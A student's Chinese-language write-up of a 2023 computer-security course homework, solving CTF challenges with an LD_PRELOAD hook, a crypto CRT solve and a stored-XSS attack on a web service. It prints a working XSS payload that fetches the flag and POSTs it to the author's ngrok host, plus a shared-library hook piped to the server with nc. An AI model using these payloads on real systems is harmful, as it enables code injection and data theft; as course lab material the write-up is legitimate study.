程式安全 Computer Security 2023 FALL hw0

目前應該是按照我解出的順序整理 writeup 。

加簽路途中經過的 XX 小徑

去程 回程

HW0, Baby Hook, 20

1
nc edu-ctf.zoolab.org 10002

會拿到一個壓縮檔 hw0-pwn_92b26057bc6668d5.zip ,解壓縮之後進去可以翻到以下檔案以及資料夾:

這樣看來應該是要把 docker build 起來,所以就直接 build ,並且下 -d 使其可以再背景執行: ( 要先安裝 dockerdocker-compose )

1
2
sudo docker-compose build
sudo docker-compose up -d

接下來要做的就是察看 container id 並利用該 id 進入 container 的指令介面。

查看 container id :

1
sudo docker ps -a

進入 container 指令介面:

1
sudo docker exec -it <container_id> /bin/bash

可以在 /home/chal/ 底下看到以下檔案資料夾:

看到這種結構大概就知道是跑 run.sh ,這邊直接查看 run.sh

1
2
3
4
#!/bin/sh

cd /home/chal/
timeout 60 python3 main.py

可以看到他執行了 main.py ,那我們就進去看 main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
import os
import subprocess
import tempfile

def main():
print('Give me your share object:')
so = base64.b64decode(input())
tmp = tempfile.NamedTemporaryFile(delete=False)
tmp.write(so)
os.popen(f'chmod +x {tmp.name}')
p = subprocess.Popen(f'LD_PRELOAD={tmp.name} ./chall', shell=True)
p.wait()
tmp.close()
os.unlink(tmp.name)

if __name__ == "__main__":
main()

大概可以看出, main.py 會把 input 用 base64 解碼後存到一個 tmp file ,而該 tmp file 對被當成執行 chall 之前的 LD_PRELOAD 檔案。

到目前為止題意應該很明顯,因為 LD_PRELOAD 有辦法重新定義執行檔所套用的 function 所以主要就是去看執行檔有沒有 call 什麼 function 可以讓我們覆蓋 ( hook? ) 。

這邊題目剛好有附上 chall.c 讓我們方便觀察:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <unistd.h>

int main(void)
{
sleep(0x48763);
puts("You win!! Maybe :)");
return 0;
}

看來我們只要把 sleep 的功能 hook 掉就好。

/tmp/ 去撰寫一個 hook.c ( 要去 /tmp/ 是因為我們要找一個可以寫入的地方 ) :

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

unsigned int sleep(unsigned int sec) {
char line[1000];
FILE *file = fopen("flag.txt", "r");
while (fgets(line, sizeof(line), file)) {
printf("%s", line);
}
fclose(file);
}

hook.c 輸出成 hook.so

1
gcc hook.c -o hook.so -shared -fPIC

接下來按照題意想辦法讓遠端的程式可以 hook 到我新改寫的 hook.so 就可以了,實際指令:

1
echo $(base64 /tmp/hook.so | tr -d '\n' | sed 's/ //g') | nc edu-ctf.zoolab.org 10002

這邊會需要注意到使用 base64 指令時會多出許多 \n 或者是空白,我不是很確定,最保險的做法就是把 \n 跟空白都除掉,因為 base64 字串裡面本來就不會有這兩種字元,而我們送出的字串末尾又要一個 \n ,這件事情可以用 echo 來做到。

HW0, GUSP Hub, 20

http://edu-ctf.zoolab.org:10010/

稍微看一下網頁的資訊:

這題也有提供網頁的 soure code ,下載下來架構大概如下:

上面的架構中主要是 app.js 說明了大略的前端程式邏輯,可以先看 README.txt 來尋找更多資訊。

其實應該要先架起 docker 來看看的,但是架的時候好像有問題,所以就先跳過。

查看 README.txt

查看 app.js 內容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const uuid = require('uuid');
const dns = require('dns');
const puppeteer = require('puppeteer');


const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());

let browser = null;

const port = process.env.PORT || 3000;
const flag = process.env.FLAG || 'FLAG{fake_flag}';

const randInt = (min, max) => Math.floor(Math.random() * (max - min + 1)) + min;
const randStr = (length) => Buffer.from(Array(length).fill(0).map(() => randInt(0, 0xff))).toString('base64url');


const GUSPServices = new Map();

app.get('/', (_, res) => {
res.sendFile(__dirname + '/html/index.html');
});

app.get('/flag', (req, res) => {
// only allow localhost users to get the flag -- which is the bot
// bot? see /report handler
if (req.headers['give-me-the-flag'] === 'yes' &&
req.ip.endsWith('127.0.0.1')) {
return res.send(flag);
}
res.send('No flag for you');
});

app.get('/:id/:alias', (req, res) => {
const { id, alias } = req.params;
if (!GUSPServices.has(id)) {
res.status(404).send('API not found');
return;
}

const { url, javascript } = GUSPServices.get(id);
fetch(url + '/' + alias, { redirect: 'manual' }).then(r => {
if (r.status !== 302) {
res.status(404).send('Alias not found');
return;
}
const originalUrl = r.headers.get('Location');
res.send(`<script>
const data = ${JSON.stringify({ id, alias, originalUrl })};
window.onload = () => {
${javascript ? javascript :
'window.location.href = data.originalUrl;'
}
}
</script>`);
}).catch(err =>
res.status(500).send(err.message)
);
});

app.get('/add-api', (req, res) => {
if (!req.cookies['authenticated'])
return res.send("You are not authenticated");
res.sendFile(__dirname + '/html/add-api.html');
});

app.post('/add-api', async (req, res) => {
if (!req.cookies['authenticated'])
return res.send("You are not authenticated");

const { url, javascript } = req.body;


// Test if the API works as expected
// You can understand the GUSP protocol by reading thorugh those test cases


const testCases = [];
for (let i = 0; i < randInt(15, 20); ++i) {
let alias = randInt(0, 3) === 0 ? randStr(randInt(3, 10)) : null;
testCases.push({
original: `https://${randStr(randInt(3, 10))}.${randStr(randInt(10, 20))}.com/${randStr(randInt(0, 10))}`,
alias
});
}


const result = Promise.all(
testCases.map(({ original, alias }) => new Promise((resolve, reject) => {
const body = alias === null ?
`[gusp]URL|${original.length}|${original}[/gusp]` :
`[gusp]URL|${original.length}|${original}|${alias}[/gusp]`;

fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/gusp', },
body
}).then(res => {
if (!res.headers.get('Content-Type').startsWith('application/gusp')) {
reject(new Error(`Should return Content-Type: application/gusp`));
}
return res.text()
}).then(async res => {
const [status, length, content] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|');
if (+length !== content.length) {
reject(new Error(`Length mismatch: ${length} vs ${content.length}`));
}

if (content.match(/[^A-Za-z0-9_-]/)) {
reject(new Error(`Invalid alias format ${content}: should only contain A-Za-z0-9_-`));
}

if (status !== 'SUCCESS') {
reject(new Error(`Should return SUCCESS for non-duplicated alias`));
}

const testMode = randInt(0, 4);
if (testMode <= 2) {
// normal visit
const redirect = await fetch(new URL(url + '/' + content), { redirect: 'manual' });
if (redirect.status !== 302) {
reject(new Error(`Should redirect with status 302`));
}
const location = redirect.headers.get('Location').trim();
if (location !== original) {
reject(new Error(`${content}: Should redirect to ${original}, but got ${location}`));
}
} else if (testMode === 3) {
// visit a non-exist alias
const redirect = await fetch(new URL(url + '/' + randStr(randInt(3, 10))), { redirect: 'manual' });
if (redirect.status !== 404) {
reject(new Error(`Should return 404 for non-exist alias`));
}
} else if (testMode === 4) {
// create a duplicated alias
const body = `[gusp]URL|${original.length}|${original}|${alias}[/gusp]`;
const res = await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/gusp', },
body
}).then(res => res.text());
const [status, _, __] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|');
if (status !== 'ERROR') {
reject(new Error(`Should return ERROR for duplicated alias`));
}
}
resolve();
}).catch(err => reject(err));
}))
);

result.then(() => {
const id = uuid.v4();
GUSPServices.set(id, { url, javascript });
res.send(`Your API is working! API ID is ${id}`);
}).catch(err => {
res.send(`Your API is not working: ${err.message}`);
});

});

// admin bot part

async function visit(id, alias) {
const url = `http://127.0.0.1:${port}/${id}/${alias}`;
console.log(`[+] Visiting ${url}`);
const context = await browser.createIncognitoBrowserContext()
const page = await context.newPage()
try {
await page.goto(url, { waitUntil: 'networkidle0' })
} catch (e) {
console.error(`[+] error visting ${path}`, e)
}
await page.close()
await context.close()
}

app.get('/report', (_, res) => {
res.send(`
<form action="/report" method="POST">
<input type="text" name="id" placeholder="API ID">
<input type="text" name="alias" placeholder="Alias">
<input type="submit" value="Report">
</form>
`);
});


app.post('/report', (req, res) => {
// make the bot visit the GUSP service with the given id and alias

const { id, alias } = req.body;
if (!GUSPServices.has(id)) {
res.status(404).send('API not found');
return;
}

if (alias.match(/[^A-Za-z0-9_-]/)) {
return res.send('Invalid alias');
}

visit(id, alias);
res.send('Admin will check your report');
});

app.listen(port, async () => {
console.log('Listening on port 3000');
browser = await puppeteer.launch({
pipe: true,
dumpio: true,
args: ['--js-flags=--jitless,--no-expose-wasm', '--disable-gpu', '--disable-dev-shm-usage', '--no-sandbox'],
headless: 'new'
});
});

根據上面的架構可以知道我會需要寫一個後端,我這邊是用 python flask 來寫的後端,主要就是處理網址等等的訊息,讓他符合網頁上所述之規範即可,經過多次修改與嘗試我的 server.py code 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from flask import Flask, request, redirect, Response
import re
import random
import string
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

# Dictionary to store the mapping of shortened URLs to original URLs
url_mapping = {}

@app.route('/')
def my_original():
return "hello", 200

@app.route('/', methods=['POST'])
def shorten_url():
try:

print("POST~~~")

# Parse the Content-Type and content of the request
content_type = request.headers.get('Content-Type')
if content_type != 'application/gusp':
return "Invalid Content-Type", 400

request_data = request.data.decode('utf-8')

print("request_data:", request_data)

# Use regular expressions to extract URL, URL length, and shortened ID
# match = re.match(r'\[gusp\]URL\|(\d+)\|(.+)(\|(.+))?\[/gusp\]', request_data)
# match = re.match(r'\[gusp\]URL\|(\d+)\|(.+)(\|(.+))?\[/gusp\]', request_data)

request_data = request_data.replace("[gusp]", "").replace("[/gusp]", "")
tmp_data = request_data.split("|")

# if not match:
# # return "Invalid request format", 400
# description = "Error_whatever_hahaha"
# response_data = Response(f"[gusp]ERROR|{len(description)}|{description}[/gusp]")
# response_data.content_type = 'application/gusp'

# print("not match, Response:")
# print("Status Code:", response_data.status_code)
# print("Content-Type:", response_data.content_type)
# print("Data:", response_data.data)

# return response_data

# url_length = int(match.group(1))
# original_url = match.group(2)
# shortened_id = match.group(3)

url_length = ""
original_url = ""
shortened_id = ""

for i in range(len(tmp_data)):
if i == 1:
url_length = tmp_data[i]
if i == 2:
original_url = tmp_data[i]
if i == 3:
shortened_id = tmp_data[i]

print("url_length:", url_length)
print("original_url:", original_url)
print("shortened_id:", shortened_id)

# Create a shortened ID (if not provided)
if shortened_id == "":
shortened_id = generate_shortened_id()

for x in url_mapping.keys():
if x == shortened_id:
des = "error_whatever"
response_data = Response(f"[gusp]ERROR|{len(des)}|{des}[/gusp]")
response_data.content_type = 'application/gusp'
return response_data

# Store the mapping of shortened URL to original URL
url_mapping[shortened_id] = original_url

# Build a success response
response_data = Response(f"[gusp]SUCCESS|{len(shortened_id)}|{shortened_id}[/gusp]")
response_data.content_type = 'application/gusp'

print("Response Data:")
print("Status Code:", response_data.status_code)
print("Content-Type:", response_data.content_type)
print("Data:", response_data.data)

return response_data

except Exception as e:
print(f"Error: {str(e)}")
return f"Error: {str(e)}", 500

@app.route('/<shortened_id>', methods=['GET'])
def get_shortened_url(shortened_id):
try:
print("GET~~~")
# Check if a mapping exists for the shortened ID
if shortened_id not in url_mapping:
return "Shortened URL not found", 404

# Retrieve the original URL and redirect
original_url = url_mapping[shortened_id]
return redirect(original_url, code=302)
except Exception as e:
return f"Error: {str(e)}", 500

def generate_shortened_id():
characters = string.ascii_letters + string.digits
random_string = "abc123"
while random_string in url_mapping:
random_string = ''.join(random.choice(characters) for _ in range(6))
print("generate random string:", random_string)
return random_string

if __name__ == '__main__':
app.run(debug=True)

這邊先放一下我的 XSS code ,這是因為以知可以塞進任意 javascript code :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// URL to visit
const targetURL = 'http://127.0.0.1/flag';

// Headers for the initial request
const headers = {
'give-me-the-flag': 'yes',
};

// Send the initial request to targetURL with custom headers
fetch('/flag', { headers })
.then((response) => {
if (response.ok) {
// If the response is successful, read its content as text
return response.text();
} else {
throw new Error('Failed to fetch the flag');
}
})
.then((flagContent) => {
// Encode the flag content as base64
const base64Flag = btoa(flagContent);

// URL to send the base64-encoded flag to example.com
const postURL = `https://db7c-61-231-76-171.ngrok-free.app/ ${base64Flag}`;

// Headers for the POST request to example.com
const postHeaders = {
'Content-Type': 'application/json',
};

// Data to send in the POST request
const postData = JSON.stringify({ flag: base64Flag });

// Send the POST request to example.com
return fetch(postURL, { method: 'POST', headers: postHeaders, body: postData });
})
.then((postResponse) => {
if (postResponse.ok) {
console.log('Flag sent successfully to example.com');
} else {
throw new Error('Failed to send flag to example.com');
}
})
.catch((error) => {
console.error('Error:', error.message);
});

這邊來釐清一下整題挑戰的架構,順便說明我怎麼做解題。

整題的架構大致上如下:

主要就是有 "CTF challenge server" 、 "My Python Flask backend" 以及 "My browser" 三個角色,又 "My Python Flask backend" 和 "My browser" 可以在同一臺電腦主機上。

第 1 步就是以 "My browser" 開啟挑戰頁面去註冊 "My Python Flask backend" 的網址,這個步驟遇到兩個問題,第一,我沒有自己的公開網址,這個可以用 ngrok 來解決;第二,要去註冊前好像會 check cookie ,這個在 browser console 下 document.cookie="authentication=authentication" 應該就可以解決了。

第 2 步, "CTF challenge server" 在收到註冊訊息時,會先與 "My Python Flask backend" 做一些互動並且驗證,且成功時 "My browser" 會收到一個 ID 。

第 3 步,這個步驟只是在說明為甚麼這時候的 "My browser" 會之到 ID 以及其中一個一定存在的 Alias 。

第 4 步開始會有兩個分支,我後續會分別稱他們為 GET 分支以及 POST 分支。

第 4 步 ( GET 分支 ) ,用 "My browser" 來傳送請求,請求使用 GET 並且訪問 /<ID>/<Alias> 。之後會發現走這個分支的話會比較好 DEBUG 自己的寫的 XSS payload ,因為執行 XSS 的地方應該是 "My browser" ,這樣一來就可以從 console 來查看錯誤訊息,這個可以從後續的流程中看出。

第 5 步 ( GET 分支 ) , "CTF challenge server" 會根據 ID 把 /<Alias> 請求傳給 "My Python Flask backend" ,具體程式碼是參考 app.js 裡的內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.get('/:id/:alias', (req, res) => {
const { id, alias } = req.params;
if (!GUSPServices.has(id)) {
res.status(404).send('API not found');
return;
}

const { url, javascript } = GUSPServices.get(id);
fetch(url + '/' + alias, { redirect: 'manual' }).then(r => {
if (r.status !== 302) {
res.status(404).send('Alias not found');
return;
}
const originalUrl = r.headers.get('Location');
res.send(`<script>
const data = ${JSON.stringify({ id, alias, originalUrl })};
window.onload = () => {
${javascript ? javascript :
'window.location.href = data.originalUrl;'
}
}
</script>`);
}).catch(err =>
res.status(500).send(err.message)
);
});

上述 code 也順便說明了第 6 步 ( GET 分支 ) 中為何 "My Python Flask backend" 需要回傳 302 狀態碼,所以我就不多解釋第 6 步 ( GET 分支 ) 了 ~

第 7 步 ( GET 分支 ) ,這步只是說明會將訊息傳回 "My browser" 。

第 8 步 ( GET 分支 ) ,當訊息傳回 "My browser" 且更早之前有利用 XSS 漏洞安插 payload ,那該 payload 將會在 "My browser" 上執行!不過這個題目是要去拿到 "CTF challenge server" 的 flag ,而這只有 "CTF challenge server" 自己才能做到,所以現在目標就是找到在 "CTF challenge server" 可以執行 XSS 的做法。

在之後的第 9 ~ 11 步 ( GET 分支 ) 只是大概演示走 GET 分支的結果。

第 4 步 ( POST 分支 ) ,這次嘗試用 POST 且附帶 data 去戳 "CTF challenge server" 的 /report

至於為甚麼要戳 /report ,以及 "CTF challenge server" 會怎麼處理這個請求,可以從 app.js 的內容去分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post('/report', (req, res) => {
// make the bot visit the GUSP service with the given id and alias

const { id, alias } = req.body;
if (!GUSPServices.has(id)) {
res.status(404).send('API not found');
return;
}

if (alias.match(/[^A-Za-z0-9_-]/)) {
return res.send('Invalid alias');
}

visit(id, alias);
res.send('Admin will check your report');
});

由上述 code 可以知道要再去分析 visit 的 code ,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// admin bot part

async function visit(id, alias) {
const url = `http://127.0.0.1:${port}/${id}/${alias}`;
console.log(`[+] Visiting ${url}`);
const context = await browser.createIncognitoBrowserContext()
const page = await context.newPage()
try {
await page.goto(url, { waitUntil: 'networkidle0' })
} catch (e) {
console.error(`[+] error visting ${path}`, e)
}
await page.close()
await context.close()
}

這邊我理解成 "CTF challenge server" 自己模擬成一個 browser 去向 "My Python Flask backend" 做請求,這樣就會代表之後 "CTF challenge server" 所模擬的 browser 就會執行 XSS 進而抓取 flag ,而當我們把 flag 加在網址後面再送請求到 "My Python Flask backend" 時,就可以從 "My Python Flask backend" 的 log message 裡找到 flag !而這也就是第 4 ~ 7 步 ( POST 分支 ) 所做的事情。

HW0, Extreme Xorrrrr, 20

首先要利用 xor 同樣的值兩次之後會變回自己,這樣我們可以對題目給的提示去做一遍 xorrrrr ,再來就是觀察題目可以看到類似於 CRT 的形式的算式,不過需要做一點處理也就是先乘上模反元素,這樣一來就得到一個可以用 CRT 來解決的算式,以下是我的作法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# from secret import flag
from Crypto.Util.number import bytes_to_long, getPrime, inverse
from sympy.ntheory.modular import crt
from fractions import Fraction
from functools import reduce

def xorrrrr(nums):
n = len(nums)
result = [0] * n
for i in range(1, n):
result = [ result[j] ^ nums[(j+i) % n] for j in range(n)]
return result

flag = b'A' * 20
secret = bytes_to_long(flag)
mods = [ getPrime(32) for i in range(20)]
muls = [ getPrime(20) for i in range(20)]

print(mods)
print(muls)

print("Real secret:", secret)

hint = [secret * muls[i] % mods[i] for i in range(20)]

# print("hint:\n", hint)
# print("xorrrrr(hint):\n", xorrrrr(hint))
# print("xorrrrr(xorrrrr(hint)):\n", xorrrrr(xorrrrr(hint)))

# inv_muls = [inverse(mul, mod) for mul, mod in zip(muls, mods)]
# print("inv_muls:\n", inv_muls)

# crt_m_v = crt(mods, [x * y for x, y in zip(hint, inv_muls)])

# s = hex(crt_m_v[0])
# if len(s) % 2 == 1:
# s = s.replace("0x", "0")
# else:
# s = s.replace("0x", "")

# print("secret? :", bytes.fromhex(s))


# print(f"hint = {xorrrrr(xorrrrr(hint))}")
# print(f"muls = {xorrrrr(xorrrrr(muls))}")
# print(f"mods = {xorrrrr(xorrrrr(mods))}")



# hint = [297901710, 2438499757, 172983774, 2611781033, 2766983357, 1018346993, 810270522, 2334480195, 154508735, 1066271428, 3716430041, 875123909, 2664535551, 2193044963, 2538833821, 2856583708, 3081106896, 2195167145, 2811407927, 3794168460]
# muls = [865741, 631045, 970663, 575787, 597689, 791331, 594479, 857481, 797931, 1006437, 661791, 681453, 963397, 667371, 705405, 684177, 736827, 757871, 698753, 841555]
# mods = [2529754263, 4081964537, 2817833411, 3840103391, 3698869687, 3524873305, 2420253753, 2950766353, 3160043859, 2341042647, 4125137273, 3875984107, 4079282409, 2753416889, 2778711505, 3667413387, 4187196169, 3489959487, 2756285845, 3925748705]

# here for real flag

hint = [297901710, 2438499757, 172983774, 2611781033, 2766983357, 1018346993, 810270522, 2334480195, 154508735, 1066271428, 3716430041, 875123909, 2664535551, 2193044963, 2538833821, 2856583708, 3081106896, 2195167145, 2811407927, 3794168460]
muls = [865741, 631045, 970663, 575787, 597689, 791331, 594479, 857481, 797931, 1006437, 661791, 681453, 963397, 667371, 705405, 684177, 736827, 757871, 698753, 841555]
mods = [2529754263, 4081964537, 2817833411, 3840103391, 3698869687, 3524873305, 2420253753, 2950766353, 3160043859, 2341042647, 4125137273, 3875984107, 4079282409, 2753416889, 2778711505, 3667413387, 4187196169, 3489959487, 2756285845, 3925748705]

hint = xorrrrr(hint)
mods = xorrrrr(mods)
muls = xorrrrr(muls)

inv_muls = [inverse(mul, mod) for mul, mod in zip(muls, mods)]

print("inv_muls:\n", inv_muls)

crt_m_v = crt(mods, [x * y for x, y in zip(hint, inv_muls)])

s = hex(crt_m_v[0])
if len(s) % 2 == 1:
s = s.replace("0x", "0")
else:
s = s.replace("0x", "")

print("secret? :", bytes.fromhex(s))

HW0, Baby Crackme, 10

flag 會在執行過程中產生,動態檢查慢慢找即可。

HW0, Easy C2, 10

flag 會在執行過程中產生,但是前面會卡一個要我們建立連線的動作,直接用 NOP patch 掉,然後再動態檢查慢慢找即可。

My Submission